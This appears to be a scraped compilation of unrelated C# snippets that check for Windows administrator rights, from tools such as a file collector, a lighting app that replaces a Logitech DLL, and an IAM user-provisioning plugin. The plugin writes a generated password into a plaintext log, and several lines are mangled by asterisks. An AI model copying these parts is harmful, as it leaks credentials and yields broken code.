            catch (ArgumentException e)
            {
                Console.WriteLine(e.Message);
                return(1);
            }
            catch (Exception e)
            {
                Console.WriteLine($"Unknown error while parsing arguments: {e.Message}");
                return(0);
            }

            if (arguments.HelpRequested)
            {
                Console.WriteLine(arguments.GetHelp(arguments.HelpTopic));
                return(0);
            }

            if (!arguments.ForceNative)
            {
                var identity  = WindowsIdentity.GetCurrent();
                var principal = new WindowsPrincipal(identity);
                if (!principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    Console.WriteLine(
                        "Error, this program requires admin privliages to run unless --force-native is specified.");
                    return(1);
                }
            }

            var additionalPaths = new List <string>();

            if (Platform.IsInputRedirected)
            {
                string input = null;
                while ((input = Console.ReadLine()) != null)
                {
                    input = Environment.ExpandEnvironmentVariables(input);
                    additionalPaths.Add(input);
                }
            }


            List <string> paths;

            try
            {
                paths = CollectionPaths.GetPaths(arguments, additionalPaths);
            }
            catch (Exception e)
            {
                Console.WriteLine($"Error occured while collecting files:\n{e}");
                return(1);
            }


            var stopwatch = new Stopwatch();

            stopwatch.Start();

            try
            {
                var archiveStream = Stream.Null;
                if (!arguments.DryRun)
                {
                    var outputPath = $@"{arguments.OutputPath}/{arguments.OutputFileName}";
                    if (arguments.UseSftp)
                    {
                        var client = CreateSftpClient(arguments);
                        archiveStream = client.Create(outputPath);
                    }
                    else
                    {
                        archiveStream = OpenFileStream(outputPath);
                    }
                }
                using (archiveStream)
                {
                    CreateArchive(arguments, archiveStream, paths);
                }

                stopwatch.Stop();
                Console.WriteLine("Extraction complete. {0} elapsed", new TimeSpan(stopwatch.ElapsedTicks).ToString("g"));
            }
            catch (Exception e)
            {
                Console.WriteLine($"Error occured while collecting files:\n{e}");
                return(1);
            }
            return(0);
        }
Exemple #19
0
        /// <summary>
        /// Function will return <c>true</c> if current loggged user is administrator (or in group of administrators)
        /// Special care taken in case of UAC
        /// </summary>
        /// <returns><c>true</c> if user is administrator (or in group of administrators), otherwise <c>false</c></returns>
        /// <remarks>Code: http://www.davidmoore.info/2011/06/20/how-to-check-if-the-current-user-is-an-administrator-even-if-uac-is-on/ </remarks>
        internal static bool IfUserAdmin()
        {
            var identity = WindowsIdentity.GetCurrent();

            if (identity == null)
            {
                throw new InvalidOperationException("Couldn't get the current user identity");
            }

            var principal = new WindowsPrincipal(identity);

            // Check if this user has the Administrator role. If they do, return immediately.
            // If UAC is on, and the process is not elevated, then this will actually return false.
            if (principal.IsInRole(WindowsBuiltInRole.Administrator))
            {
                return(true);
            }

            // If we're not running in Vista onwards, we don't have to worry about checking for UAC.
            if (Environment.OSVersion.Platform != PlatformID.Win32NT || Environment.OSVersion.Version.Major < 6)
            {
                // Operating system does not support UAC; skipping elevation check.
                return(false);
            }

            int    tokenInfLength   = Marshal.SizeOf(typeof(int));
            IntPtr tokenInformation = Marshal.AllocHGlobal(tokenInfLength);

            try
            {
                var token  = identity.Token;
                var result = UnsafeNativeMethods.GetTokenInformation(token, TokenInformationClass.TokenElevationType, tokenInformation, tokenInfLength, out tokenInfLength);

                if (result == false)
                {
                    var exception = Marshal.GetExceptionForHR(Marshal.GetHRForLastWin32Error());
                    throw new InvalidOperationException("Couldn't get token information", exception);
                }

                var elevationType = (TokenElevationType)Marshal.ReadInt32(tokenInformation);

                switch (elevationType)
                {
                case TokenElevationType.TokenElevationTypeDefault:
                    // TokenElevationTypeDefault - User is not using a split token, so they cannot elevate.
                    return(false);

                case TokenElevationType.TokenElevationTypeFull:
                    // TokenElevationTypeFull - User has a split token, and the process is running elevated. Assuming they're an administrator.
                    return(true);

                case TokenElevationType.TokenElevationTypeLimited:
                    // TokenElevationTypeLimited - User has a split token, but the process is not running elevated. Assuming they're an administrator.
                    return(true);

                default:
                    // Unknown token elevation type.
                    return(false);
                }
            }
            finally
            {
                if (tokenInformation != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(tokenInformation);
                }
            }
        }
Exemple #20
0
        public static void InstallLogitech()
        {
            //Check for Admin
            bool             isElevated;
            WindowsIdentity  identity  = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);

            isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);

            if (!isElevated)
            {
                Global.logger.Error("Program does not have admin rights");
                System.Windows.MessageBox.Show("Program does not have admin rights");
                Environment.Exit(1);
            }

            //Patch 32-bit
            string logitech_path = (string)Microsoft.Win32.Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{a6519e67-7632-4375-afdf-caa889744403}\ServerBinary", "(Default)", null);

            if (logitech_path == null)
            {
                logitech_path = @"C:\Program Files\Logitech Gaming Software\SDK\LED\x86\LogitechLed.dll";

                if (!Directory.Exists(Path.GetDirectoryName(logitech_path)))
                {
                    Directory.CreateDirectory(Path.GetDirectoryName(logitech_path));
                }

                RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE", true);

                key.CreateSubKey("Classes");
                key = key.OpenSubKey("Classes", true);

                key.CreateSubKey("WOW6432Node");
                key = key.OpenSubKey("WOW6432Node", true);

                key.CreateSubKey("CLSID");
                key = key.OpenSubKey("CLSID", true);

                key.CreateSubKey("{a6519e67-7632-4375-afdf-caa889744403}");
                key = key.OpenSubKey("{a6519e67-7632-4375-afdf-caa889744403}", true);

                key.CreateSubKey("ServerBinary");
                key = key.OpenSubKey("ServerBinary", true);

                key.SetValue("(Default)", logitech_path);
            }

            if (File.Exists(logitech_path) && !File.Exists(logitech_path + ".aurora_backup"))
            {
                File.Move(logitech_path, logitech_path + ".aurora_backup");
            }

            using (BinaryWriter logitech_wrapper_86 = new BinaryWriter(new FileStream(logitech_path, FileMode.Create, FileAccess.Write)))
            {
                logitech_wrapper_86.Write(global::Aurora.Properties.Resources.Aurora_LogiLEDWrapper86);
            }

            //Patch 64-bit
            string logitech_path_64 = (string)Microsoft.Win32.Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{a6519e67-7632-4375-afdf-caa889744403}\ServerBinary", "(Default)", null);

            if (logitech_path_64 == null)
            {
                logitech_path_64 = @"C:\Program Files\Logitech Gaming Software\SDK\LED\x64\LogitechLed.dll";

                if (!Directory.Exists(Path.GetDirectoryName(logitech_path_64)))
                {
                    Directory.CreateDirectory(Path.GetDirectoryName(logitech_path_64));
                }

                RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE", true);

                key.CreateSubKey("Classes");
                key = key.OpenSubKey("Classes", true);

                key.CreateSubKey("CLSID");
                key = key.OpenSubKey("CLSID", true);

                key.CreateSubKey("{a6519e67-7632-4375-afdf-caa889744403}");
                key = key.OpenSubKey("{a6519e67-7632-4375-afdf-caa889744403}", true);

                key.CreateSubKey("ServerBinary");
                key = key.OpenSubKey("ServerBinary", true);

                key.SetValue("(Default)", logitech_path_64);
            }

            if (File.Exists(logitech_path_64) && !File.Exists(logitech_path_64 + ".aurora_backup"))
            {
                File.Move(logitech_path_64, logitech_path_64 + ".aurora_backup");
            }

            using (BinaryWriter logitech_wrapper_64 = new BinaryWriter(new FileStream(logitech_path_64, FileMode.Create, FileAccess.Write)))
            {
                logitech_wrapper_64.Write(global::Aurora.Properties.Resources.Aurora_LogiLEDWrapper64);
            }

            Global.logger.Info("Logitech LED SDK patched successfully");
            System.Windows.MessageBox.Show("Logitech LED SDK patched successfully");

            //Environment.Exit(0);
        }
 /// <summary>
 /// The function checks whether the current process is run as administrator.
 /// In other words, it dictates whether the primary access token of the 
 /// process belongs to user account that is a member of the local 
 /// Administrators group and it is elevated.
 /// </summary>
 /// <returns>
 /// Returns true if the primary access token of the process belongs to user 
 /// account that is a member of the local Administrators group and it is 
 /// elevated. Returns false if the token does not.
 /// </returns>
 internal static bool IsRunAsAdmin()
 {
     WindowsIdentity id = WindowsIdentity.GetCurrent();
     WindowsPrincipal principal = new WindowsPrincipal(id);
     return principal.IsInRole(WindowsBuiltInRole.Administrator);
 }
Exemple #22
0
        static void Main(string[] args)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);


            // Check for Admin
            bool isAdmin = false;

            if (OSLoader.IsWindows())
            {
                using (WindowsIdentity identiy = WindowsIdentity.GetCurrent())
                {
                    WindowsPrincipal principal = new WindowsPrincipal(identiy);
                    isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
                }

                // If not admin, run admin check window
                if (!isAdmin)
                {
                    var adminForm = new AdminChecker();
                    Application.Run(adminForm);
                    // If set to admin, that means we need to restart. Just exit.
                    if (adminForm.Admin)
                    {
                        return;
                    }
                }
            }

            bool debug = args.Contains("--debug");

#if DEBUG
            debug = true;
#endif

            // Check to see if this executable is a zip
            var thisPath   = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
            var runFileArg = args.Where(x => x.Contains("runFile:")).FirstOrDefault();

            if (runFileArg != null)
            {
                thisPath = runFileArg.Substring(8);
            }

            using (FileStream fs = new FileStream(thisPath, FileMode.Open, FileAccess.Read))
            {
                try
                {
                    using (ZipFile zfs = new ZipFile(fs))
                    {
                        zfs.IsStreamOwner = false;
                        ZipEntry filesEntry       = zfs.GetEntry("files.zip");
                        var      filesEntryStream = zfs.GetInputStream(filesEntry);
                        Application.Run(new MainForm(new ZipFile(filesEntryStream), debug, isAdmin));
                        return;
                    }
                }
                catch (ZipException)
                {
                    // Not a zip file. Let it close, and find our zip file
                }
            }
            Application.Run(new MainForm(null, debug, isAdmin));
        }
        public override void Start()
        {
            try
            {
                if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
                {
                    PipeSecurity pipeSecurity = new PipeSecurity();

                    WindowsIdentity  identity  = WindowsIdentity.GetCurrent();
                    WindowsPrincipal principal = new WindowsPrincipal(identity);

                    if (principal.IsInRole(WindowsBuiltInRole.Administrator))
                    {
                        // Allow the Administrators group full access to the pipe.
                        pipeSecurity.AddAccessRule(new PipeAccessRule(
                                                       new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null).Translate(typeof(NTAccount)),
                                                       PipeAccessRights.FullControl, AccessControlType.Allow));
                    }
                    else
                    {
                        // Allow the current user read/write access to the pipe.
                        pipeSecurity.AddAccessRule(new PipeAccessRule(
                                                       WindowsIdentity.GetCurrent().User,
                                                       PipeAccessRights.ReadWrite, AccessControlType.Allow));
                    }

                    // Unfortunately, .NET Core does not support passing in a PipeSecurity object into the constructor for
                    // NamedPipeServerStream so we are creating native Named Pipes and securing them using native APIs. The
                    // issue on .NET Core regarding Named Pipe security is here: https://github.com/dotnet/corefx/issues/30170
                    // 99% of this code was borrowed from PowerShell here:
                    // https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/remoting/common/RemoteSessionNamedPipe.cs#L124-L256
                    this.inOutPipeServer = NamedPipeNative.CreateNamedPipe(inOutPipeName, pipeSecurity);
                    if (this.outPipeName != null)
                    {
                        this.outPipeServer = NamedPipeNative.CreateNamedPipe(outPipeName, pipeSecurity);
                    }
                }
                else
                {
                    // This handles the Unix case since PipeSecurity is not supported on Unix.
                    // Instead, we use chmod in Start-EditorServices.ps1
                    this.inOutPipeServer = new NamedPipeServerStream(
                        pipeName: inOutPipeName,
                        direction: PipeDirection.InOut,
                        maxNumberOfServerInstances: 1,
                        transmissionMode: PipeTransmissionMode.Byte,
                        options: PipeOptions.Asynchronous);
                    if (this.outPipeName != null)
                    {
                        this.outPipeServer = new NamedPipeServerStream(
                            pipeName: outPipeName,
                            direction: PipeDirection.Out,
                            maxNumberOfServerInstances: 1,
                            transmissionMode: PipeTransmissionMode.Byte,
                            options: PipeOptions.None);
                    }
                }
                ListenForConnection();
            }
            catch (IOException e)
            {
                this.logger.Write(
                    LogLevel.Verbose,
                    "Named pipe server failed to start due to exception:\r\n\r\n" + e.Message);

                throw e;
            }
        }
Exemple #24
0
        public override void ProcessDeploy(String cacheId, PluginConnectorBaseDeployPackage package, Dictionary <String, Object> config, List <PluginConnectorBaseDeployPackageMapping> fieldMapping)
        {
            if (!CheckInputConfig(config, true, Log))
            {
                return;
            }

            StringBuilder logText = new StringBuilder();

            try
            {
                WindowsPrincipal pricipal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
                logText.AppendLine("Current user: "******"Has administrative right: " + pricipal.IsInRole(WindowsBuiltInRole.Administrator));
            }
            catch { }

            try
            {
                if (package.login.Length > 20)
                {
                    throw new Exception("Maximum size of login name reached, this method support up to 20 characters.");
                }

                LocalWindows lWin = new LocalWindows(config["server"].ToString(), config["username"].ToString(), config["password"].ToString());

                try
                {
                    lWin.Bind();
                }
                catch (Exception ex)
                {
                    Log2(this, PluginLogType.Error, package.entityId, package.identityId, "Error on connect to Windows '" + config["server"].ToString() + "': " + ex.Message + (ex.InnerException != null ? ex.InnerException.Message : ""), "");
                    lWin = null;
                    return;
                }


                logText.AppendLine("Successfully connected on " + config["server"].ToString());


                String login = package.login;

                if (login == "")
                {
                    Log2(this, PluginLogType.Error, package.entityId, package.identityId, "IAM Login not found in properties list", "");
                    return;
                }

                logText.AppendLine("Trying to find user '" + package.login + "'...");
                DirectoryEntry user = lWin.FindUser(package.login);

                if (user == null)
                {
                    logText.AppendLine("User not found, creating...");

                    //Usuário não encontrado, cria
                    if (package.password == "")
                    {
                        package.password = IAM.Password.RandomPassword.Generate(16);
                        Log2(this, PluginLogType.Warning, package.entityId, package.identityId, "User not found in AD and IAM Password not found in properties list, creating a random password (" + package.password + ")", "");
                    }

                    //Primeira senha define uma randômica de 20 caracteres para passar o sistema de complexidade e não apresentar erro
                    //nos próximos passos será tentato trocar a senha
                    lWin.AddUser(package.login, IAM.Password.RandomPassword.Generate(20));
                    user = lWin.FindUser(package.login);

                    Log2(this, PluginLogType.Information, package.entityId, package.identityId, "User added", "");
                }
                else
                {
                    logText.AppendLine("User founded");
                }

                logText.AppendLine("User path: " + user.Path);

                try
                {
                    UserFlags ctrl = (UserFlags)user.InvokeGet("userFlags");

                    //Limpa as flags que serão verificadas por este sistema
                    if ((ctrl & UserFlags.ACCOUNTDISABLE) == UserFlags.ACCOUNTDISABLE)
                    {
                        ctrl -= UserFlags.ACCOUNTDISABLE;
                    }

                    if ((package.locked) || (package.temp_locked))
                    {
                        ctrl = (UserFlags)((Int32)ctrl + UserFlags.ACCOUNTDISABLE);
                    }

                    logText.AppendLine("Setting user flags...");
                    user.Invoke("Put", new object[] { "UserFlags", (Int32)ctrl });
                    user.CommitChanges();
                }
                catch (Exception ex)
                {
                    logText.AppendLine("Error applying user flags: " + ex.Message);
                    user = lWin.FindUser(package.login);
                }

                try
                {
                    logText.AppendLine("Setting user password...");
                    if (!String.IsNullOrWhiteSpace(package.password))
                    {
                        user.Invoke("SetPassword", new Object[] { package.password });
                    }

                    user.CommitChanges();
                }
                catch (Exception ex)
                {
                    String sPs = "";
                    try
                    {
                        PasswordStrength ps = CheckPasswordStrength(package.password, package.fullName.fullName);

                        sPs += "Length = " + package.password.Length + Environment.NewLine;
                        sPs += "Contains Uppercase? " + ps.HasUpperCase + Environment.NewLine;
                        sPs += "Contains Lowercase? " + ps.HasLowerCase + Environment.NewLine;
                        sPs += "Contains Symbol? " + ps.HasSymbol + Environment.NewLine;
                        sPs += "Contains Number? " + ps.HasDigit + Environment.NewLine;
                        sPs += "Contains part of the name/username? " + ps.HasNamePart + Environment.NewLine;
                    }
                    catch { }

                    Log2(this, PluginLogType.Error, package.entityId, package.identityId, "Error on set user password, check the password complexity rules", ex.Message + (ex.InnerException != null ? " " + ex.InnerException.Message : "") + Environment.NewLine + sPs);
                    return;
                }



                try
                {
                    logText.AppendLine("Setting user access...");
                    //Executa as ações do RBAC
                    if ((package.pluginAction != null) && (package.pluginAction.Count > 0))
                    {
                        foreach (PluginConnectorBaseDeployPackageAction act in package.pluginAction)
                        {
                            try
                            {
                                switch (act.actionKey.ToLower())
                                {
                                case "group":
                                    if (act.actionType == PluginActionType.Add)
                                    {
                                        String grpCN = lWin.FindOrCreateGroup(act.actionValue);
                                        if (lWin.AddUserToGroup(user.Name, grpCN))
                                        {
                                            Log2(this, PluginLogType.Information, package.entityId, package.identityId, "User added in group " + act.actionValue + " by role " + act.roleName, "");
                                        }
                                    }
                                    else if (act.actionType == PluginActionType.Remove)
                                    {
                                        String grpCN = lWin.FindOrCreateGroup(act.actionValue);
                                        if (lWin.RemoveUserFromGroup(user.Name, grpCN))
                                        {
                                            Log2(this, PluginLogType.Information, package.entityId, package.identityId, "User removed from group " + act.actionValue + " by role " + act.roleName, "");
                                        }
                                    }
                                    break;

                                default:
                                    Log2(this, PluginLogType.Warning, package.entityId, package.identityId, "Action not recognized: " + act.actionKey, "");
                                    break;
                                }
                            }
                            catch (Exception ex)
                            {
                                Log2(this, PluginLogType.Error, package.entityId, package.identityId, "Error on execute action (" + act.actionKey + "): " + ex.Message, "");
                            }
                        }
                    }
                }
                finally
                {
                    user.Close();
                }


                NotityChangeUser(this, package.entityId);

                if (package.password != "")
                {
                    Log2(this, PluginLogType.Information, package.entityId, package.identityId, "User updated with password", "");
                }
                else
                {
                    Log2(this, PluginLogType.Information, package.entityId, package.identityId, "User updated without password", "");
                }
            }
            catch (Exception ex)
            {
                logText.AppendLine("Error: " + ex.Message);
                if (ex.InnerException != null)
                {
                    logText.AppendLine(ex.InnerException.Message);
                }
                logText.AppendLine("");
                logText.AppendLine("");
                logText.AppendLine("");

                logText.AppendLine("### Package details");
                String debugInfo = JSON.Serialize2(new { package = package, fieldMapping = fieldMapping });
                if (package.password != "")
                {
                    debugInfo = debugInfo.Replace(package.password, "Replaced for user security");
                }

                logText.AppendLine(debugInfo);

                Log2(this, PluginLogType.Error, package.entityId, package.identityId, "Error on process deploy: " + ex.Message, logText.ToString());
                logText = null;
            }
        }
Exemple #25
0
        private bool GetIsUserAdmin()
        {
            WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return(principal.IsInRole(WindowsBuiltInRole.Administrator));
        }
Exemple #26
0
        //

        public override PluginConnectorBaseFetchResult FetchFields(Dictionary <String, Object> config)
        {
            PluginConnectorBaseFetchResult ret = new PluginConnectorBaseFetchResult();

            LogEvent iLog = new LogEvent(delegate(Object sender, PluginLogType type, string text)
            {
                if (Log != null)
                {
                    Log(sender, type, text);
                }
            });


            if (!CheckInputConfig(config, true, iLog, true, true))
            {
                ret.success = false;
                return(ret);
            }

            List <PluginConfigFields> cfg = new List <PluginConfigFields>();

            PluginConfigFields[] tmpF = this.GetConfigFields();
            foreach (PluginConfigFields cf in tmpF)
            {
                try
                {
                    iLog(this, PluginLogType.Information, "Field " + cf.Name + " (" + cf.Key + "): " + (config.ContainsKey(cf.Key) ? config[cf.Key].ToString() : "empty"));
                }
                catch (Exception ex)
                {
                    iLog(this, PluginLogType.Information, "Field " + cf.Name + " (" + cf.Key + "): error on get data -> " + ex.Message);
                }
            }

            try
            {
                WindowsPrincipal pricipal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
                iLog(this, PluginLogType.Information, "Current user: "******"Has administrative right: " + pricipal.IsInRole(WindowsBuiltInRole.Administrator));
            }
            catch { }

            try
            {
                LocalWindows lWin = new LocalWindows(config["server"].ToString(), config["username"].ToString(), config["password"].ToString());

                try
                {
                    lWin.Bind();
                }
                catch (Exception ex)
                {
                    iLog(this, PluginLogType.Error, "Error on connect to Windows '" + config["server"].ToString() + "': " + ex.Message + (ex.InnerException != null ? " " + ex.InnerException.Message : ""));
                    lWin        = null;
                    ret.success = false;
                    return(ret);
                }

                Log(this, PluginLogType.Information, "Successfully connected on " + config["server"].ToString());

                Log(this, PluginLogType.Information, "Trying to list the users...");

                Int32 count = 0;
                try
                {
                    foreach (DirectoryEntry user in lWin.ListAllUsers())
                    {
                        if (count >= 20)
                        {
                            break;
                        }

                        try
                        {
                            foreach (PropertyValueCollection property in user.Properties)
                            {
                                if (!ret.fields.ContainsKey(property.PropertyName))
                                {
                                    ret.fields.Add(property.PropertyName, new List <string>());
                                }

                                //Separa os itens que mecessita algum tratamento
                                switch (property.PropertyName.ToLower())
                                {
                                default:
                                    foreach (Object p1 in property)
                                    {
                                        ret.fields[property.PropertyName].Add(p1.ToString());
                                    }
                                    break;
                                }
                            }


                            count++;
                        }
                        catch (Exception ex)
                        {
                            Log(this, PluginLogType.Error, "Erro ao importar o registro (" + user.Path + "): " + ex.Message);
                        }
                    }
                }
                catch (Exception ex)
                {
                    Log(this, PluginLogType.Error, "Erro listar os usuários");
                    throw ex;
                }

                ret.success = true;
            }
            catch (Exception ex)
            {
                iLog(this, PluginLogType.Error, ex.Message);
            }

            return(ret);
        }
Exemple #27
0
        /// <summary>
        /// The function checks whether the primary access token of the process belongs
        /// to user account that is a member of the local Administrators group, even if
        /// it currently is not elevated.
        /// </summary>
        /// <returns>
        /// Returns true if the primary access token of the process belongs to user
        /// account that is a member of the local Administrators group. Returns false
        /// if the token does not.
        /// </returns>
        /// <exception cref="System.ComponentModel.Win32Exception">
        /// When any native Windows API call fails, the function throws a Win32Exception
        /// with the last error code.
        /// </exception>
        internal bool IsUserInAdminGroup()
        {
            bool            fInAdminGroup  = false;
            SafeTokenHandle hToken         = null;
            SafeTokenHandle hTokenToCheck  = null;
            IntPtr          pElevationType = IntPtr.Zero;
            IntPtr          pLinkedToken   = IntPtr.Zero;
            int             cbSize         = 0;

            try
            {
                // Open the access token of the current process for query and duplicate.
                if (!NativeMethods.OpenProcessToken(Process.GetCurrentProcess().Handle,
                                                    NativeMethods.TOKEN_QUERY | NativeMethods.TOKEN_DUPLICATE, out hToken))
                {
                    throw new Win32Exception();
                }

                // Determine whether system is running Windows Vista or later operating
                // systems (major version >= 6) because they support linked tokens, but
                // previous versions (major version < 6) do not.
                if (Environment.OSVersion.Version.Major >= 6)
                {
                    // Running Windows Vista or later (major version >= 6).
                    // Determine token type: limited, elevated, or default.

                    // Allocate a buffer for the elevation type information.
                    cbSize         = sizeof(TOKEN_ELEVATION_TYPE);
                    pElevationType = Marshal.AllocHGlobal(cbSize);
                    if (pElevationType == IntPtr.Zero)
                    {
                        throw new Win32Exception();
                    }

                    // Retrieve token elevation type information.
                    if (!NativeMethods.GetTokenInformation(hToken,
                                                           TOKEN_INFORMATION_CLASS.TokenElevationType, pElevationType,
                                                           cbSize, out cbSize))
                    {
                        throw new Win32Exception();
                    }

                    // Marshal the TOKEN_ELEVATION_TYPE enum from native to .NET.
                    TOKEN_ELEVATION_TYPE elevType = (TOKEN_ELEVATION_TYPE)
                                                    Marshal.ReadInt32(pElevationType);

                    // If limited, get the linked elevated token for further check.
                    if (elevType == TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited)
                    {
                        // Allocate a buffer for the linked token.
                        cbSize       = IntPtr.Size;
                        pLinkedToken = Marshal.AllocHGlobal(cbSize);
                        if (pLinkedToken == IntPtr.Zero)
                        {
                            throw new Win32Exception();
                        }

                        // Get the linked token.
                        if (!NativeMethods.GetTokenInformation(hToken,
                                                               TOKEN_INFORMATION_CLASS.TokenLinkedToken, pLinkedToken,
                                                               cbSize, out cbSize))
                        {
                            throw new Win32Exception();
                        }

                        // Marshal the linked token value from native to .NET.
                        IntPtr hLinkedToken = Marshal.ReadIntPtr(pLinkedToken);
                        hTokenToCheck = new SafeTokenHandle(hLinkedToken);
                    }
                }

                // CheckTokenMembership requires an impersonation token. If we just got
                // a linked token, it already is an impersonation token.  If we did not
                // get a linked token, duplicate the original into an impersonation
                // token for CheckTokenMembership.
                if (hTokenToCheck == null)
                {
                    if (!NativeMethods.DuplicateToken(hToken,
                                                      SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
                                                      out hTokenToCheck))
                    {
                        throw new Win32Exception();
                    }
                }

                // Check if the token to be checked contains admin SID.
                WindowsIdentity  id        = new WindowsIdentity(hTokenToCheck.DangerousGetHandle());
                WindowsPrincipal principal = new WindowsPrincipal(id);
                fInAdminGroup = principal.IsInRole(WindowsBuiltInRole.Administrator);
            }
            finally
            {
                // Centralized cleanup for all allocated resources.
                if (hToken != null)
                {
                    hToken.Close();
                    hToken = null;
                }
                if (hTokenToCheck != null)
                {
                    hTokenToCheck.Close();
                    hTokenToCheck = null;
                }
                if (pElevationType != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pElevationType);
                    pElevationType = IntPtr.Zero;
                }
                if (pLinkedToken != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(pLinkedToken);
                    pLinkedToken = IntPtr.Zero;
                }
            }

            return(fInAdminGroup);
        }
Exemple #28
0
        private static bool IsAnAdministrator()
        {
            WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return(principal.IsInRole(WindowsBuiltInRole.Administrator));
        }
Exemple #29
0
        /// <summary>
        /// Can the current user context write to a given file path?
        /// </summary>
        /// <param name="strPath">File path to evaluate.</param>
        /// <returns></returns>
        public static bool CanWriteToPath(string strPath)
        {
            if (string.IsNullOrEmpty(strPath))
            {
                return(false);
            }
            try
            {
                WindowsPrincipal            principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
                DirectorySecurity           security  = Directory.GetAccessControl(Path.GetDirectoryName(strPath) ?? throw new ArgumentOutOfRangeException(nameof(strPath)));
                AuthorizationRuleCollection authRules = security.GetAccessRules(true, true, typeof(SecurityIdentifier));

                foreach (FileSystemAccessRule accessRule in authRules)
                {
                    if (!(accessRule.IdentityReference is SecurityIdentifier objIdentifier) || !principal.IsInRole(objIdentifier))
                    {
                        continue;
                    }
                    if ((FileSystemRights.WriteData & accessRule.FileSystemRights) !=
                        FileSystemRights.WriteData)
                    {
                        continue;
                    }
                    switch (accessRule.AccessControlType)
                    {
                    case AccessControlType.Allow:
                        return(true);

                    case AccessControlType.Deny:
                        //Deny usually overrides any Allow
                        return(false);
                    }
                }
                return(true);
            }
            catch (UnauthorizedAccessException)
            {
                return(false);
            }
        }
Exemple #30
0
        internal static bool CheckIsRuningElevated()
        {
            WindowsPrincipal pricipal = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return(pricipal.IsInRole(WindowsBuiltInRole.Administrator));
        }
Exemple #31
0
        // Enumerates ds4 controllers in the system
        public static void findControllers()
        {
            lock (Devices)
            {
                IEnumerable <HidDevice> hDevices = HidDevices.EnumerateDS4(knownDevices);
                // Sort Bluetooth first in case USB is also connected on the same controller.
                hDevices = hDevices.OrderBy <HidDevice, ConnectionType>((HidDevice d) => { return(DS4Device.HidConnectionType(d)); });

                List <HidDevice> tempList = hDevices.ToList();
                purgeHiddenExclusiveDevices();
                tempList.AddRange(DisabledDevices);
                int    devCount     = tempList.Count();
                string devicePlural = "device" + (devCount == 0 || devCount > 1 ? "s" : "");
                //Log.LogToGui("Found " + devCount + " possible " + devicePlural + ". Examining " + devicePlural + ".", false);

                for (int i = 0; i < devCount; i++)
                //foreach (HidDevice hDevice in hDevices)
                {
                    HidDevice hDevice = tempList[i];
                    if (hDevice.Description == "HID-compliant vendor-defined device")
                    {
                        continue; // ignore the Nacon Revolution Pro programming interface
                    }
                    else if (DevicePaths.Contains(hDevice.DevicePath))
                    {
                        continue; // BT/USB endpoint already open once
                    }
                    if (!hDevice.IsOpen)
                    {
                        hDevice.OpenDevice(isExclusiveMode);
                        if (!hDevice.IsOpen && isExclusiveMode)
                        {
                            try
                            {
                                WindowsIdentity  identity  = WindowsIdentity.GetCurrent();
                                WindowsPrincipal principal = new WindowsPrincipal(identity);
                                bool             elevated  = principal.IsInRole(WindowsBuiltInRole.Administrator);

                                if (!elevated)
                                {
                                    // Launches an elevated child process to re-enable device

                                    /*string exeName = Process.GetCurrentProcess().MainModule.FileName;
                                     * ProcessStartInfo startInfo = new ProcessStartInfo(exeName);
                                     * startInfo.Verb = "runas";
                                     * startInfo.Arguments = "re-enabledevice " + devicePathToInstanceId(hDevice.DevicePath);
                                     * Process child = Process.Start(startInfo);
                                     *
                                     * if (!child.WaitForExit(30000))
                                     * {
                                     *  child.Kill();
                                     * }
                                     * else if (child.ExitCode == 0)
                                     * {
                                     *  hDevice.OpenDevice(isExclusiveMode);
                                     * }
                                     */
                                }
                                else
                                {
                                    reEnableDevice(devicePathToInstanceId(hDevice.DevicePath));
                                    hDevice.OpenDevice(isExclusiveMode);
                                }
                            }
                            catch (Exception) { }
                        }

                        // TODO in exclusive mode, try to hold both open when both are connected
                        if (isExclusiveMode && !hDevice.IsOpen)
                        {
                            hDevice.OpenDevice(false);
                        }
                    }

                    if (hDevice.IsOpen)
                    {
                        string serial      = hDevice.readSerial();
                        bool   validSerial = !serial.Equals(DS4Device.blankSerial);
                        if (validSerial && deviceSerials.Contains(serial))
                        {
                            // happens when the BT endpoint already is open and the USB is plugged into the same host
                            if (isExclusiveMode && hDevice.IsExclusive &&
                                !DisabledDevices.Contains(hDevice))
                            {
                                // Grab reference to exclusively opened HidDevice so device
                                // stays hidden to other processes
                                DisabledDevices.Add(hDevice);
                                //DevicePaths.Add(hDevice.DevicePath);
                            }

                            continue;
                        }
                        else
                        {
                            DS4Device ds4Device = new DS4Device(hDevice);
                            //ds4Device.Removal += On_Removal;
                            if (!ds4Device.ExitOutputThread)
                            {
                                Devices.Add(hDevice.DevicePath, ds4Device);
                                DevicePaths.Add(hDevice.DevicePath);
                                deviceSerials.Add(serial);
                            }
                        }
                    }
                }
            }
        }
Exemple #32
0
 private static bool RunAsAdministrator()
 {
     var identity = WindowsIdentity.GetCurrent();
     var principal = new WindowsPrincipal(identity);
     return principal.IsInRole(WindowsBuiltInRole.Administrator);
 }
Exemple #33
0
 public static bool IsAdministrator()
 {
     WindowsIdentity identity = WindowsIdentity.GetCurrent();
     WindowsPrincipal principal = new WindowsPrincipal(identity);
     return principal.IsInRole(WindowsBuiltInRole.Administrator);
 }
    /// <summary>
    /// The function checks whether the primary access token of the process belongs 
    /// to user account that is a member of the local Administrators group, even if 
